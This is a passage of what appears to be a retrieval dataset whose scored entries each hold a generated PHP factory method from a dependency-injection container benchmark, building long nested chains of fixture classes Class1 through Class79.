\\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "208650b8868fe112dbe9efc616ba7b75", "score": "0.6786095", "text": "protected function getClass46Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "a4cfd2af5b07ab0b5c1ed5b2a9591ceb", "score": "0.67741615", "text": "protected function getClass4Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())));\n }", "title": "" }, { "docid": "335064c027fcdd01c0cf451894cc4623", "score": "0.6740339", "text": "protected function getClass79Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "3810745eda527604cbbebd68a0302b80", "score": "0.67397785", "text": "protected function getClass68Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "b454ecfbc35d0762b1daddca19559fcd", "score": "0.67381966", "text": "protected function getClass37Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "659a9b66e0afedb57b7bfe7927db62c7", "score": "0.6737743", "text": "protected function getClass73Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "755c95fd0f310d4ce861f217902fc58b", "score": "0.67366844", "text": "protected function getClass74Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "723e2f48df9e5ebea35e96ad8208e44d", "score": "0.67279357", "text": "protected function getClass45Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "523d978a3568217208e6d4b140ae8d80", "score": "0.6724103", "text": "protected function getClass18Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))));\n }", "title": "" }, { "docid": "434e13fe1c5b1fe8279d0ef9c6d61b92", "score": "0.67187554", "text": "protected function getClass32Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "5ae4f67706aba2dbe04273355ce6493a", "score": "0.67082196", "text": "protected function getClass47Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new 